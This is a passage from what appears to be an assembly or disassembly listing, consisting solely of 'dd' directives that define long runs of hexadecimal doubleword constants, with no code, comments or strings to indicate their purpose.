30C467BCh, 3BADA5C8h, 0A4ABB635h, 26276844h, 4F77E661h dd 42260ADBh, 60A51A88h, 0F48832DFh, 7A49BDDCh, 4714BD04h dd 6BE7C106h, 39FF6DD3h, 5B4597E3h, 0FA5F52A8h, 75AD7440h dd 4D4FE9E4h, 0BD02CEA4h, 19B4CEC2h, 54B809D7h, 7EDC2708h dd 6A23F681h, 226065AFh, 25E697A2h, 983F4F20h, 41FF030Eh dd 0DFF7F987h, 0A457082Eh, 4E3BBB00h, 0AA26E96Eh, 4275C187h dd 290F4878h, 0F0CB5AD7h, 9F83090h, 0E1BDDD25h, 0EC7B89E5h dd 2FA0B61Dh, 6A50F021h, 98AE949Dh, 0F071970Dh, 0DDBB8FC7h dd 3834F745h, 68C04DE2h, 2C5F50B1h, 0E2005A7Fh, 29BB0863h dd 9EF75242h, 0F849935Eh, 6D60E98Eh, 9DFAA644h, 424A76E0h dd 953E758Ah, 286551B7h, 70A12732h, 6CBEAEE4h, 0D3A2903Dh dd 4683B4Ch, 77D01F2h, 3F09416Eh, 744C8BD0h, 0C766084h dd 1AB03DD2h, 9BD1012Eh, 8ABA52C0h, 0F9D2E07h, 6D8A3AA1h dd 2EE025Eh, 280142B6h, 68618DD5h, 56243AE3h, 0E96ADF82h dd 0FAA76FEFh, 93247257h, 20B91C57h, 0A8C163AEh, 19DB7951h dd 476567Ah, 18DE5201h, 0B5951ADCh, 0B420B415h, 58FF520h dd 6619ACBEh, 0C5E0FF10h, 2FC0944Dh, 7697CCD0h, 75541335h dd 12A3008Fh, 0E90A8A2Eh, 4E77CD31h, 9D3F5F54h, 0BC543052h dd 62833FBCh, 0D9EEB07Ah, 24928061h, 4181E05Bh, 0FE92B141h dd 9DC0915h, 0ED519B78h, 0EAE50408h, 0B099B7A7h, 382E6A42h dd 25AF34Bh dd 746909BBh, 5B58603h, 0E501970Dh, 63FFB1E9h, 76F405D9h dd 8AB22C55h, 0BA841F5Ah, 2092365Bh, 0D25AA2B4h, 110162B2h dd 0BA7C3DE9h, 65FF0912h, 3ED1FE65h, 84C36832h, 0E5E9395Eh dd 0E9902296h, 0DCD8172Fh, 0ADEF5026h, 95D526BDh, 3E514820h dd 0F9DFC115h, 3088D25Ah, 0B6A1D950h, 0EB8C7A57h, 44F95AE9h dd 8D43505Dh, 169B00CCh, 94B8AB2Dh, 8208ED3Fh, 0E5E936D8h dd 0C0E57D6Eh, 0F5493E3Fh, 5E1C114h, 15C52681h, 0B4D6B19Fh dd 59CCFC01h, 0E97AD4F6h, 42D3E44h, 48192532h, 0FD22CEFh dd 1266127h, 34672BA5h, 6EF8E9E4h, 0CCC4E3A8h, 0B630AA55h dd 4720AF7h, 0DF6842BAh, 3879CF75h, 0F7A12DE9h, 0C36AD0A2h dd 9DFCA472h, 5B1AD664h, 63D13E2h, 0F4ECB85Eh, 8B52CACh dd 4916C694h, 96B03AF8h, 38099018h, 0F25EF109h, 1AE303D9h dd 58513BDBh, 46BEDE10h, 45AA6802h, 0F15711B2h, 0F46E971Dh dd 0FCE1F598h, 0C29743DBh, 7D9B4A37h, 0EBAB8F47h, 51B40517h dd 0F2D84C01h, 0BECE004Bh, 339F5969h, 0B3AAD0F4h, 0B77AD057h dd 108522E8h, 9FC82980h, 572461C3h, 0BF122D4Eh, 5B14D2AEh dd 69A055FAh, 8180C23Ch, 0F47579CFh, 7DDEA011h, 14CB3069h dd 6A0F9A0Ch, 0F2C0094Fh, 7DBC0520h, 2CE10F5Eh, 9B34E93Ch dd 0C2AA2A74h, 60C57BDEh, 81BAABE4h, 0C15AB123h, 310B2CE8h dd 358658C7h, 749720E2h, 0DD17BDFDh, 57B3A4B5h, 9F91BF3Fh dd 9C562FFFh, 0E5E7CDBFh, 0FE8F50FAh, 0F32D80C3h, 0EF25417h dd 0E962FD30h, 9BFC3405h, 0E1C0C985h, 9E710DFFh, 8852EC06h dd 0F435CE72h, 262E545Ah, 342CFF4Eh, 98E37288h, 93FF1E9h dd 0A9D7BA37h, 4F47D418h, 9F8D4EBh, 5336F697h, 1DC2DAD4h dd 95F499E9h, 94092DA9h, 4C0E7106h, 0FF276068h, 0E086E322h dd 0B109F7A9h, 1158AE7Ch, 388A0B26h, 11FFD8F7h, 1D3E85Bh dd 0D7050306h, 68DED11Ah, 0D3680B40h, 60165616h, 72232B13h dd 0A913F0BFh, 39684857h, 0D1CEBF03h, 0AA05519Bh, 64A0755Ch dd 56734BC0h, 74557513h, 2F489D2Ah, 0A5095DEDh, 0F5297Ch dd 77FDE52Bh, 0E94916ECh, 0F7FC8114h, 415720D7h, 81971954h dd 4C7F612h, 0FC5947FEh, 16D4BB7Dh, 78600F0Ah, 0B7740A7h dd 418782D4h, 0A92530F7h, 0A60DD40h, 0BC011384h, 92D19574h dd 50C68389h, 6C50B44h, 41339h, 92EBE25Bh, 0E97988ABh dd 1865AB30h, 2A68D586h, 3D464134h, 3968F3B4h, 0B8060CEDh dd 2A04ED51h, 5E367465h, 4C6BB2ABh, 7DFE4B94h, 0C7A53124h dd 76EF795Ah, 43A40761h, 7574F330h, 2E2DE7C5h, 48084CFAh dd 0A3F22508h, 0A319E917h, 0BE459491h, 429BA2Ah, 1200E36Ah dd 6E8F22AAh, 0B33CB849h, 9F5178F3h, 77C7B300h, 4476F530h dd 12FAE75Ch, 36EB5260h, 4BA0EEE1h, 314A1220h, 35E9CF2Ch dd 882CDCEAh, 3B420B7h, 0D595CF22h, 0DD5B581Ch, 775B0809h dd 62200946h, 505E27C1h, 0E958CF5Ch, 91BD4A2Fh, 7822E52Fh dd 1FA8C706h, 6AC5F509h, 0CB2F6A89h, 61D4E0FBh, 274B7C02h dd 0DDF60446h, 2C41ECC2h, 1FF252EEh, 1CF40E17h, 0F2482CABh dd 1A0C5809h, 7D680157h, 8C70381Fh, 3F1D16C6h, 9ED706E3h dd 0F1042F01h, 93EB9947h, 0D81256F8h, 97A2A803h, 256664CCh dd 9CDDE9F7h, 0EEB420A9h, 0F9C28102h, 0DD0ADC72h, 0B556BC02h dd 57446054h, 0D34F8AFEh, 34FD5C05h, 0A496DDB2h, 580555DFh dd 0FD3138D6h, 841A7A83h, 0C9EDA3BBh, 445B055Ch, 0E161B934h dd 0BD81B8F7h, 4CE32FC1h, 6AD9E925h, 693A0A43h, 0E905D4D7h dd 0C0DDD4A9h, 0EC05E64Bh, 0FA98445Eh, 53BC4045h, 0AD205477h dd 376AE9CDh, 64A9EF70h, 687F2242h, 6CC5F9h, 5AD9388h dd 6BB4063Ah, 0B2A629Dh, 5EC67707h, 759F6813h, 576EC5CDh dd 85C5BF22h, 750E9ABAh, 0B90A8E60h, 60C776EAh, 6CE6EA7Fh dd 5B616F7h, 5801C23h, 75DD1012h, 2DD02801h, 18309507h dd 172447C2h, 0D9169F15h, 0B7972BF8h, 77A1D69Ah, 4EA0FD05h dd 6830ED29h, 76974C5Fh, 17F5D2A7h, 0BC807366h, 7D82D1DEh dd 394CF800h, 0BEBAC176h, 9E50505h, 1FAA5E6Fh, 0C8BEF39h dd 0FB73E7D9h, 0E96909E8h, 1720C31Fh, 7F6544EEh, 670C7B63h dd 0C02BF260h, 19ED548h, 0F221975Bh, 3E77C1E9h, 1CAF0B56h dd 40AB05C7h, 3F8FEB5Fh, 0E5DBE916h, 69AE2A92h, 571160C1h dd 0A210BF43h, 2916603Bh, 0F667A173h, 0FE9940CFh, 0D7F6C716h dd 84283D32h, 31BB8ABAh, 0A2334h, 165F2DADh, 12634155h dd 73B7E8F0h, 72028CEEh, 0C54628BFh, 0F560556Eh, 96F32D68h dd 1E84D087h, 447C8AAh, 5F55A13Eh, 0D2FE76C1h, 1C025903h dd 6856A453h, 0D4D70289h, 2583EAF6h, 0A8701FE4h, 718112Dh dd 0B3055575h, 302B390Eh, 8850B6E0h, 3AC0D85Ch, 5BF992C7h dd 17B49BEFh, 64A172E9h, 0B3B0EA62h, 0DE2D0835h, 0CE6F65Bh dd 0E5DDD7A2h, 0D2250378h, 9390DFDCh, 621699EDh, 92FC3104h dd 0C9FAE05Bh, 0E589ABC2h, 43CD6051h, 9C625038h, 0E90BC247h dd 49C4C0F2h, 4A249320h, 7A45A92Dh, 0F5886B2Ch, 0DC6DE0A5h dd 12193E57h, 67D1A193h, 0A2862505h, 307D5896h, 0FA01DB40h dd 5A1A1889h, 499B9A5Bh, 0B2DFBF83h, 9FB1D0F8h, 61E01108h dd 0B027FA04h, 0C64252A2h, 0EC545B4Fh, 74450423h, 2BC00B94h dd 9B35F8Eh, 9D27E960h, 2A0725D5h, 0B80044A3h, 428C0A95h dd 14022805h, 2CE91C2Eh, 1E25716Fh, 9C254B56h, 19F34877h dd 53200F5Fh, 0C8C9FE31h, 0F381EF60h, 287B663Bh, 855CB505h dd 0D33E626Ch, 4A66D572h, 0F6EA099h, 750C69E8h, 34C2D736h dd 0B00C4E68h, 82CEF7B9h, 747F6AD7h, 80C95817h, 0FE042FF6h dd 9EA7E9C4h, 0CA1279F2h, 1AE9F879h, 5518F2A4h, 6885D367h dd 0C9442A01h, 590B5EBCh, 0EED62904h, 0C8424B2h, 0FCDDBB1Dh dd 0F839356Bh, 203A48B5h, 0F14F5BD2h, 0CDD2E789h, 1E38D2C4h dd 0F057BD46h, 0E0397D60h, 0B549AC68h, 46461D1Ah, 98746C2Dh dd 3E296B2Bh, 1D93012Fh, 0E14489FFh, 4E9A7803h, 60BA79FEh dd 0EEB780D4h, 52B0F665h, 0F31828AFh, 69A3FD06h, 936371BCh dd 0A8415EC6h, 28C99EAAh, 6F71DC12h, 0B25FD73Eh, 0D08A865Dh dd 3A02A969h, 0BD54D224h, 5844A773h, 2867338Bh, 602C3293h dd 46665140h, 0AFB644E8h, 1C106804h, 0D2C473BCh, 0BC31FB9Ah dd 21924F52h, 0BE3D16F5h, 8AFE2684h, 6C169CCh, 5024CC1Dh dd 9571D158h, 0F88871F3h, 86E827ACh, 1E2E09D8h, 823CBF0Fh dd 30CB594Bh, 1865DC52h, 8CB8245Ah, 0F8971925h, 4B5F7AA1h dd 168ABC6h, 0C84CB530h, 23B05016h, 0B08C30F0h, 0A21A5B3Ch dd 0D0C9B255h, 58BB0914h, 1A80C82Dh, 5C387470h, 0E91754B0h dd 0C144AF5Ah, 0F0AB0CB7h, 0ED91CC9Bh, 4DC00769h, 0E8715109h dd 52C993FCh, 0DF4AE9AFh, 8D93D44Ch, 334C1EF2h, 73C09D6Ch dd 0BFB1522Eh, 2DBC508Dh, 550025BEh, 35D0F748h, 0FD61B73Fh dd 0A801BF24h, 9C15E9DEh, 9D551D75h, 0CC6E581h, 2D0981DFh dd 0FE7024CFh, 307999BFh, 421FF626h, 0FDC25259h, 60154936h dd 8128F1D4h, 4F7AFB58h, 49BB8331h, 312F0654h, 36D5AE21h dd 75E804CFh, 70FC0BA8h, 0CFE68107h, 0A8622631h, 8CF2F924h dd 2B8F046Fh, 6DBD0113h, 3066B130h, 0B93D95CBh, 590582ABh dd 85313B19h, 7032DD8h, 0C8330E9h, 335E5F3Ah, 0B441BC4Fh dd 0ACDCAC61h, 54E6B5EEh, 0C4BD552Dh, 6BC84590h, 68100CCAh dd 6EC5E96h, 1E84D1C9h dd 4C24A3A2h, 0BA2D1214h, 0D20888EEh, 0F17E9441h, 9548DCACh dd 56C65EB6h, 0E4FE9D97h, 0CC309CFh, 160D1F20h, 0EBBA2206h dd 2D051200h, 5A4973C6h, 2D60A27Fh, 842AD604h, 43ED156h dd 0F295FBE9h, 137EA2AAh, 9ED03A03h, 1FCC65F4h, 49DEF71Fh dd 667A3473h, 8B75645Ch, 0BD3C56EDh, 0A4393696h, 1F09CF43h dd 80617D58h, 1565F2BAh, 0CBE9132Ah, 0D37BB87h, 9B59EA97h dd 0A7827B4h, 0A1807E94h, 77C149D2h, 8E5B06C7h, 6DCA57FEh dd 0A40C080Ch, 237B0D18h, 144A0F2h, 0D7294977h, 625EF5E9h dd 95FAD3BEh, 79881D4h, 0B4F76AD8h, 660CBD04h, 0F580FFD7h dd 0BA65E29h, 195CE938h, 0F75A367Eh, 72FD2DC2h, 0E0ADF8A7h dd 9B2C74D0h, 9511257h, 0B5A3ECCEh, 0DC035BD8h, 16F91973h dd 810B401h, 9933E93Dh, 3A1A5A2Ch, 0D56F8422h, 55A5F1C5h dd 1A0CF3C5h, 3E7B1D3h, 630F6855h, 5A2D1557h, 9DB6F11h dd 9507BE9h, 0B1747B7h, 665D9468h, 0AA3B4D59h, 0E9A6BC78h dd 0ED7F6EABh, 0C7680B42h, 0FCE90B60h, 0DD5BA751h, 0B6C22E62h dd 0E9FBFFFFh, 8809382Ch, 3C30750Fh, 4BAA6B1Ah, 57D20975h dd 71CB1471h, 2C600D2h, 21A71039h, 0FA49F17Dh, 3CBA48F1h dd 0F49213DCh, 0CD3680AEh, 0DD2F4AAEh, 0A8D45678h, 304B61DEh dd 0E102C780h, 18F17843h, 0E7A6B450h, 0F8281758h, 5A999266h dd 0A092845Ch, 2E707D2h, 0BED1B240h, 476C5FCBh, 27940E5Ah dd 0CA5DA983h, 47750E0h, 9D70C4BFh, 1681FFD2h, 467282B6h dd 20AE49C5h, 674C1280h, 0F6755676h, 0C54A3717h, 6EE963C1h dd 0EA40C56Ah, 0A96ED9CDh, 8801107Ah, 0A0E18101h, 0DB6AD27Bh dd 981E180Eh, 0CBCCA573h, 403C20F4h, 0D49D0997h, 0E7330041h dd 0DF3118B5h, 32E0A1D7h, 51494046h, 30BCB101h, 0D3F659CBh dd 0B29B8520h, 0EA5C9D89h, 84C1838Ch, 36A70BF1h, 0FFFC2FCAh dd 660B9713h, 0A148DF90h, 4F1EEE2Dh, 0E80A5039h, 843A0705h dd 7DB20F09h, 2D276BCh, 434E68BFh, 2E88D551h, 0AFDF2D93h dd 0AE284516h, 7E85D9ABh, 0E982AAB2h, 3BD5B2DEh, 2975D97Dh dd 0AA6C3392h, 0D7FFC534h, 3F198D80h, 0F60190F5h, 0FE045E17h dd 5B42F7D7h, 785862D2h, 0A5ED4E06h, 1A7420F5h, 5697E792h dd 0CB30CAD1h, 1A0B8D5Fh, 0C5EA77D2h, 0CB5669F5h, 0B93E2BFDh dd 4213250Ch, 4A7959D7h, 27F9A710h, 1571DF88h, 872C0A53h dd 670A590h, 0C328791Dh, 0D18994h, 74DF735h, 2CC1291Ch dd 967E54E9h, 0A32DAB5Bh, 12EF8E3Ah, 0FCC878EAh, 9E681D66h dd 71D12E5Dh, 6C17010Ch, 0D9F75E00h, 0DA094D90h, 75623D55h dd 0A8E03C22h, 0FE5260F4h, 7C68C1C4h, 0DBF5C277h, 0F0C2AF8Ch dd 0EB385B57h, 21774F40h, 750B0525h, 68F26103h, 2DA36DB2h dd 0E0D15150h, 59EBC706h, 0B807B67Ah, 0F6146B5h, 79089EAAh dd 78C928C2h, 3B552735h, 0FD89F47Ch, 873C5C5Dh, 0A4D2F708h dd 3B1EA1CDh, 0CBBBD3F0h, 4558FD8Ah, 8870C59Dh, 0C0004008h dd 0C98002E1h, 3D06CC1Fh, 40BF0512h, 246CF174h, 26E1CF20h dd 967C3DCDh, 47E48926h, 5A5130DCh, 92A6BD6Bh, 1ADBF045h dd 4F038FAAh, 0F810E18Bh, 8A5E2FC9h, 0E00337C2h, 0F9B353CDh dd 0B4292FAAh, 90C30317h, 0AD584180h, 595CD89Fh, 0D2C43191h dd 2335BF4Ah, 0C46AE3C1h, 0A1B3A83Ah, 0EB80A8A5h, 13D0BD55h dd 24C12C49h, 6F6D0794h, 0B199CD70h, 28F2071Fh, 0A38F5BF7h dd 8274E6ABh, 5814FD2Fh, 9B4D0901h, 4576E92Ch, 99E7B2Ch dd 982F8F6Bh, 0F6EC4C4h, 1C49C968h, 540EFA5Fh, 4FBB6946h dd 0E97D0B62h, 594A720Ch, 0A3364F5Fh, 17D30B0Ch, 4CDD201Ah dd 0CFE92422h, 0AC688F3Ah, 8A441686h, 7413869h, 1E849EE8h dd 0AFD116EBh, 453AEA29h, 201BEB4Ch, 88511E8Ch, 392DFD7Bh dd 0E35A7915h, 6452BB65h, 204B58F4h, 0D80112FCh, 0BD50EF2Dh dd 4C0211F8h, 0F66CC228h, 0E5059D84h, 2999C159h, 0C4A33866h dd 41128D44h, 107F08D0h, 7429C476h, 481FF4BDh, 514200Ch dd 35DB0E59h, 0BD53EA5Eh, 5B34BFh, 346ACC13h, 27A60133h dd 96F50C82h, 0C7A12078h, 0F0C572BFh, 6A0B2E36h, 47C56292h dd 1F735027h, 0EAC32DEFh, 2D75A980h, 0E32740A2h, 8031F871h dd 3525A07h, 4B3AB4BAh, 340A4A69h, 0A39AEEC6h, 28E7C27h dd 30421AEFh, 44E56052h, 6BE0B08h, 0FCDF9C55h, 7F8B95FEh dd 0D5EB8379h, 0C24C1D66h, 0D008446Dh, 9DA3E910h, 0DFF7470Eh dd 0CAE78160h, 464E7C5Fh, 631017F9h, 0C821273Eh, 166D901Ah dd 0EE0123DAh, 0F4FF84D4h, 0D2EEC85Bh, 0BDD1CF5Ah, 0C6139E29h dd 89EC9881h, 0DF15C456h, 0A77D74B2h, 0BCF7CACCh, 0A8451218h dd 0EC587CBh, 56408E60h, 50F1268h, 1201FEA6h, 0DB64E2E6h dd 0CE30C221h, 557E13CFh, 761EA439h, 0D0B7F4ECh, 0BCE175Fh dd 0E10F00C8h, 34263B29h, 2B485BF6h, 0B409DE88h, 0C8C47DF4h dd 68504DBCh, 0D8764E8Dh, 29108A0Bh, 88342E98h, 11FEA0Dh dd 0A6AB742Dh, 2B542F37h, 0FBA20989h, 52BA653Ch, 88AEB08h dd 14BCF040h, 0E87C564Dh, 14325A2Ch, 5F250A2Dh, 1297475Fh dd 30B6A1A1h, 0C1E6F933h, 0B7530109h, 9A9B809Bh, 0C9B3C3E9h dd 795DA4E9h, 340D8544h, 0F5BC00ECh, 1CB34AA0h, 7BD7D9A1h dd 6F85B0A9h, 0D141EEF9h, 679B6DCCh, 6E97C13Ah, 0C28105C5h dd 233FB4A8h, 73FA555Fh, 6F5E5449h, 0DCC647ACh, 0EB2CB78Ch dd 9D104C7Ch, 60210D00h, 0E40575F2h, 70AF671Fh, 2D7326C8h dd 2971EDEh, 5100E0CAh, 0C0E8B652h, 0E6E607EEh, 0F327D998h dd 6961F6A6h, 4E34F5DBh, 21FEBD01h, 0FA601127h, 0D4CA0481h dd 8003911Eh, 2C500CF1h, 0DEE9361Eh, 2023E4EFh, 0BB090AC8h dd 7DA20D72h, 0F38780C0h, 8D6F730h, 91D04FE9h, 0E8C2A703h dd 0CCDCD3D7h, 4E00DDA4h, 3BBD1843h, 975199B2h, 14D02009h dd 706A480Bh, 0D044D712h, 3F2E05A1h, 6939CF8Ch, 0C07D1ABDh dd 3E3F7961h, 30924563h, 0ABF1241Fh, 281244E8h, 66C61D32h dd 0EA73C4F1h, 1BE08CCDh, 4E6495CDh, 96F2D1Dh, 4A1FB853h dd 13CA5FC8h, 60E3E354h, 1D39A0B2h, 0C6648069h, 7E96E235h dd 4A08A7A4h, 0CC55F987h, 807252D5h, 682FF9F7h, 8BE4DC44h dd 3768534Bh, 30B521DCh, 4181E9C0h, 5639FC09h, 5A62CC9Ch dd 0B3A50FEEh, 12D1A35Bh, 818C868Ah, 0BF7D407Ch, 0F2939501h dd 5FFE29A8h, 9D9A7930h, 385D99B0h, 27D2939Fh, 47036C24h dd 0DC80D7BBh, 0E300810Bh, 35FB1D8Ch, 9F95FDE9h, 91A00DC5h dd 683005E4h, 2FF70C3Bh, 695D5975h, 0D008E928h, 0AF4B140Ch dd 77024F4Ch, 13B53C51h, 0E46F8D12h, 82F6F5D1h, 2F8F0D3Eh dd 271AF001h, 5856C330h, 8A0602CBh, 2F045203h, 0A4EA62Ch dd 655BC2F6h, 94591D8Ch, 80943261h, 40E4325Dh, 80C7AD04h dd 305C8868h, 9313DEBCh, 208688B9h, 565840B5h, 7BB40272h dd 0F22937D2h, 87BEFEh, 0B2B109Ah, 4B548E9h, 0D0BC5AFEh dd 0F5362879h, 631A20C1h, 22F2BA07h, 50E24658h, 0D680E98Bh dd 0E47FA82Fh, 3B6A3DFEh, 8CD7D0F2h, 0F42A6850h, 749D9041h dd 0CDF9259Bh, 810275A5h, 0EED5456Bh, 62EFB06Ah, 77FA33D3h dd 1B25985Dh, 1A619355h, 0F205F3A2h, 0E09BBCCAh, 7EFFC380h dd 758675D0h, 0CE08DEF6h, 0D3EE37F3h, 28F445BFh, 35B5EAD8h dd 90D3FC7Ah, 0CCE9836Ch, 292212B9h, 0B50413F9h, 0F9F4DB37h dd 0FE5F2D43h, 692DC22Dh, 0CC382057h, 4C45D670h, 0A4138A01h dd 3831BA1Dh, 7406356Ch dd 0FC3A8804h, 0A1A829B9h, 767E4E10h, 0C5DCC8A0h, 31768C17h dd 0AECD1CEFh, 0F2E904CAh, 594FFEEBh, 0BB6844D1h, 0FC4FC9B8h dd 0E4F5F3h, 0C0D45AE9h, 381EBB94h, 5F9545F8h, 0E3DC1E3Ch dd 796EDFDDh, 0AAC05BE5h, 4CD7614Ah, 0D520972Bh, 0DF35584Bh dd 8480F2EBh, 0D9C2C588h, 4194F7A4h, 981C3F20h, 88FB2D9Ch dd 0EB80DF51h, 24FF5D2Bh, 0DDE3F301h, 63010816h, 727E4A32h dd 0C5C6D26Fh, 570217C4h, 337920BFh, 6041FD73h, 7AEE60DFh dd 0B6B1513h, 0CE1803B0h, 7BCC6887h, 0A5D3C38Fh, 80B5B702h dd 8838E0EEh, 0D7F63AF7h, 24BFAC4Fh, 0F110E5D6h, 311AAC3Bh dd 0E256409Bh, 6FBC7E31h, 0C43F2EC5h, 0FDB5C221h, 2EA862E1h dd 0DE0052B2h, 53340375h, 0CABF82E9h, 0FA227D74h, 2C8571Fh dd 221E9F05h, 84D67A16h, 3FBA8340h, 4B31C062h, 34C2AB42h dd 0B7CFF8E6h, 83A07BC5h, 5F57523Fh, 97255904h, 12F70BDh dd 0F380BC5Eh, 0B6DCE62h, 0C7DE4C89h, 0E5FBD05Eh, 16262C3Dh dd 3802B52Dh, 4AC4C161h, 0ACBAD7FAh, 0CD7A05FFh, 0D933E2BAh dd 50031E7Ch, 2B949AB1h, 9E8AAEE8h, 9672A8E3h, 34B860FEh dd 4401E20Ah, 1D572B35h, 8E20402Dh, 831CBE8Ah, 5CB04BEDh dd 0CABB8C4Ah, 0C83284F0h, 59B2FBh, 64EC431Dh, 13E8C148h dd 5485E907h, 0F31D7DE7h, 787BCADBh, 6081997h, 1EB2F307h dd 0D90C7964h, 936C0AE9h, 84D09C2h, 65FD5EE7h, 0B8562716h dd 5B37C9A5h, 957FDF77h, 87127E65h, 58D398AEh, 5A215495h dd 0F3081C40h, 0B8EB7882h, 0EDC2B508h, 0ACBC04D1h, 0E4172BD3h dd 276A8BABh, 0D0005EEAh, 65C9FCE9h, 1BA875Ah, 0DDC77892h dd 0D5F60414h, 4783A95h, 0F8958EF7h, 58AA81AFh, 36182D40h dd 28E8324h, 2B747846h, 0CA61FA01h, 0B5696B9Fh, 20253932h dd 0B6F0ED6h, 97FF70D5h, 42A84DF3h, 1504C84Dh, 782D3F18h dd 21229502h, 75455D55h, 0FCED04A0h, 9006914Ah, 0A68EE951h dd 1F3B053Dh, 0A05F4B88h, 261273A7h, 0CC0B6A87h, 1C9572DFh dd 0ACD050C5h, 7D4B01E6h, 6A3142F2h, 0EACE681Fh, 0E6B36h dd 0CC75E316h, 7B00B7D9h, 355FF821h, 9D64FF01h, 3C22056Eh dd 0C429F0C8h, 80D70120h, 0C1621C82h, 4D992FE7h, 0D7E4B23Fh dd 17A8D1AEh, 0D929017Ch, 9F5ECA20h, 160505F1h, 0A0046F1Ah dd 0B7AFA31Eh, 285804D2h, 40EF4D64h, 6214F330h, 8BB84815h dd 41174544h, 0AAF90211h, 2EE5F049h, 168F4533h, 917BD21Eh dd 2A04EBE0h, 13801A7h, 0E97DC004h, 5DC6A0DDh, 13A05995h dd 8277C585h, 40D5F80Fh, 17E320B6h, 47CBFE58h, 0A33DF30Ch dd 0C4B15BDCh, 0E6F4E4CAh, 0A51ECCF8h, 56F0B4E9h, 74840566h dd 4A7FE42Dh, 0F857CD53h, 427E2EB9h, 0F178F897h, 7E70807Ch dd 77681F53h, 525B8F27h, 4C4BAA5h, 0EBBEB085h, 0F32D8FDEh dd 585B6170h, 0EA92B3A2h, 0EE10A4B6h, 0ED465AB2h, 0ED10CE21h dd 13379C20h, 0C14C1063h, 2886A9Ch, 0E286E009h, 0C77DC013h dd 57DB22AAh, 0B9508FBCh, 0C81F1253h, 503FB22Fh, 0FF717EA0h dd 25F445BFh, 6CDD6EE0h, 2FC74EB7h, 0F1EBA923h, 0C216DC0h dd 509039B2h, 0E753716Dh, 0E550B86Fh, 60F547E0h, 0B8C2BB9Dh dd 7258256Ah, 2F0903ABh, 0B6291E99h, 4008831Ch, 4E8B141Ch dd 5F70982Ch, 0E962AB99h, 0CDCC7710h, 0B6172209h, 2FD0054h dd 975726E9h, 0D3C58223h, 423716F9h, 20DFBFEFh, 0CA771DE2h dd 6922C174h, 3626254Eh, 0FD0118B7h, 13163128h, 45F1BAAh dd 1E08C523h, 999697E6h, 0DFFF2B84h, 35B65BC6h, 0B8DCF10h dd 7E3DA768h, 13D5EBD2h, 0E309B8DEh, 81C8D66Fh, 3BDAEAB6h dd 5680EBBDh, 2C1CF768h, 34F2E4Ch, 4F77AACEh, 0E0DEDA33h dd 2F095F72h, 87F04E39h, 8747EF39h, 0FE31C522h, 25F589E3h dd 75ED38h, 0E9DD01BBh, 0D37A4938h, 0AEDCF63Eh, 0C948F339h dd 81B3A95Eh, 0E7200CECh, 7CA89C6Fh, 1E2FD2BCh, 0F0E918AEh dd 1CF163DDh, 3C1EC1E6h, 753FF928h, 286CABB1h, 51683F7Ch dd 0B0C539DCh, 8485BB1Eh, 0A3BA34EAh, 0F462509Ch, 0FD83C86Bh dd 0E5F575CAh, 80E989DBh, 41B8B3A7h, 71522D26h, 3283F09Ch dd 54D8DBA8h, 0B2F9C3C4h, 56860814h, 0C16FABABh, 0FDA033D8h dd 0BD6BE163h, 699E848Bh, 7BBC2CEBh, 0FE098B9Eh, 4AC14CC1h dd 4E0DAC74h, 1C96EC5Ch, 0C0D164AEh, 6A07AE05h, 0C6319D04h dd 17B88958h, 86F4432Eh, 51622768h, 3B85D220h, 4FAEFE87h dd 0A5CF4088h, 0D8BDB50Fh, 544E86h, 46A6BB8Dh, 6817296Dh dd 81CC58DCh, 4F84FADBh, 3190A172h, 0E0D16A32h, 0FACD0Ah dd 6C250567h, 0C25BA390h, 1FCFBD0h, 32167BBEh, 0E15588D3h dd 8D17D982h, 0D8285C01h, 7464D930h, 0B2A0A960h, 97C93D30h dd 0E982E98Eh, 0EE74E542h, 12184A63h, 0A75D5440h, 76E982F3h dd 0EFDAF5E0h, 0AABC5860h, 8066A123h, 9C2E4402h, 4B9ED11Dh dd 6C2C70BAh, 4813CC2Dh, 8E7F73F1h, 30E55FA6h, 0B40CF83Eh dd 0C6B8200h, 5811A51h, 0C07105E5h, 5CF08228h, 9477D092h dd 6A502D8Ah, 333E78A2h, 48AD19D1h, 0BA599Fh, 87AB199Fh dd 295BDA31h, 53385E95h, 305FD6DAh, 0F6B3EF6Ah, 0A411483Dh dd 7981BD4Ah, 72E9F70Bh, 0A08B5EBEh, 746638A3h, 0AF595592h dd 0ED97F8F2h, 0A9E24B04h, 42BCCFC4h, 61535DEAh, 3CF89656h dd 0EFC12E23h, 0C6F71EE3h, 0C264A5Ch, 0DA0C37A1h, 10DC8262h dd 0C99F442h, 65124840h, 85001CD6h, 6FA40C42h, 0FC77042Dh dd 81210A31h, 81F819E5h, 72B8EB95h, 0B56B5471h, 991E9011h dd 0A8087E50h, 0FA61B3ADh, 9F5CBA82h, 2926AD06h, 972D8898h dd 0B1FEE016h, 0E468809Bh, 0E9D64C55h, 83A30752h, 0D3152D58h dd 2CE69A8Fh, 0F89C0A77h, 4EEFE978h, 0D545EB90h, 0E0F29552h dd 68098D90h, 1A5909E1h, 7E31D581h, 0A6804302h, 25FB3EEAh dd 5B505F53h, 7003BFF3h, 4EE92879h, 9DFB85BDh, 0BA68540Ah dd 5CECCFFCh, 0A4B4B3B8h, 0D0F79506h, 2D299806h, 7746999Dh dd 0B81AA74Ah, 0DACCD410h, 39943248h, 0AF427924h, 0AD81605Ah dd 81355F49h, 1D44863h, 4BCA5D66h, 0C150B3EAh, 0F6303AB8h dd 0FEC34F21h, 0B8F7C529h, 0FF1705EBh, 10860921h, 4812A3C3h dd 26BED895h, 8EF2A09Fh, 0F2614FEAh, 0F7D12053h, 0A3DCB5C2h dd 0E0FCAECEh, 805966CFh, 970FB0F7h, 0DD282851h, 7CBE30C0h dd 0B045F030h, 19A809DFh, 17FE7378h, 6AE6AE39h, 4CB94712h dd 2DD7F34Ah, 565C61EDh, 9CDFB4D8h, 0D95A44D1h, 0E7E86B38h dd 0F12DEAF4h, 0CD9A27Ah, 0EFBEA2E9h, 0F2A173E1h, 8ED19788h dd 0FA542CC3h, 25257EC7h, 0BDF29EFDh, 443DC460h, 5EC26880h dd 388BF535h, 5C312763h, 0EE68E2E7h, 406BFA56h, 14917B2h dd 0EBBF65DDh, 6BDC3404h, 0B7BAEC80h, 2CF1161Dh, 0BE8D8531h dd 9A7F7138h, 0B85E9F04h, 7C96FD52h, 0F69B4120h, 34FB0FE2h dd 0AA653D82h, 78CA4BFh, 5C31205Fh, 0AE064BF3h, 494CEE12h dd 20B201FBh, 2A17E744h, 984D6AB0h, 60EC989Dh, 0A8B12AD5h dd 2905D855h, 7DB0E9F5h, 0A2AEA935h, 3C584820h, 2BFF5087h dd 8182B74Ch, 192810CCh, 581F074h, 0A06172EEh, 51609125h dd 0D8E82B54h, 